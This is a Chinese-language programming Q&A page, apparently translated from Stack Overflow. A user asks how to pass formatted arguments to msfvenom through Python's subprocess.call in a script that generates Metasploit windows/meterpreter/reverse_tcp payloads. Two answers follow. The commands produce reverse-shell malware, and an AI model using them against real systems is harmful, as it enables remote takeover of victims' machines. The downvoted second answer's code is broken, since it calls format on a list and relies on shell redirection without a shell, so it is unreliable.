在python 2.7.12中传递命令行参数时将变量附加为字符串

时间:2016-08-02 02:14:23

标签: python

我正在尝试使用Python 2.7.12创建Metasploit有效负载生成器。它使用msfvenom生成许多恶意负载。

首先,我使用%s%d格式的运算符。

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",   
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))

此错误返回

/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d 
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
    File "menu.py", line 74, in <module>
  call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'

我能够理解msfvenom无法解析我传递的参数,即迭代标志-i。接下来我看到了Python的错误TypeError

在进行一些研究之后,我决定使用.format(),因为

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",   
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,  
lport, encode, iteration, formatop, payname, formatop)

返回

AttributeError: 'int' object has no attribute 'format'

我该怎么办?还有,我可以优化我的程序,而不是复制和粘贴相同的行,并更改15个选项的有效负载类型?

2 个答案:

答案 0 :(得分:0)

您无法对format的结果使用call(...)。您应格式化每个组件:

with open("{}.{}".format(payname, format), 'w') as outfile:
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile)

请注意,重定向将替换为显式打开的文件,因为subprocess.call除非您启用不安全的shell=True参数,否则不会将其传递给shell。

使用不同的有效负载重复多次这很容易:使用有效负载创建一个数组,然后将此代码放入循环(或者,更清楚的是,一次调用一个有效负载的函数)。

答案 1 :(得分:-1)

一个好方法是在命令中使用split来创建传递给call的列表,这将使变量替换更清晰:

call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} > {5}.{6}"
     .split().format(lhost,  lport, encode, iteration, formatop, payname, formatop))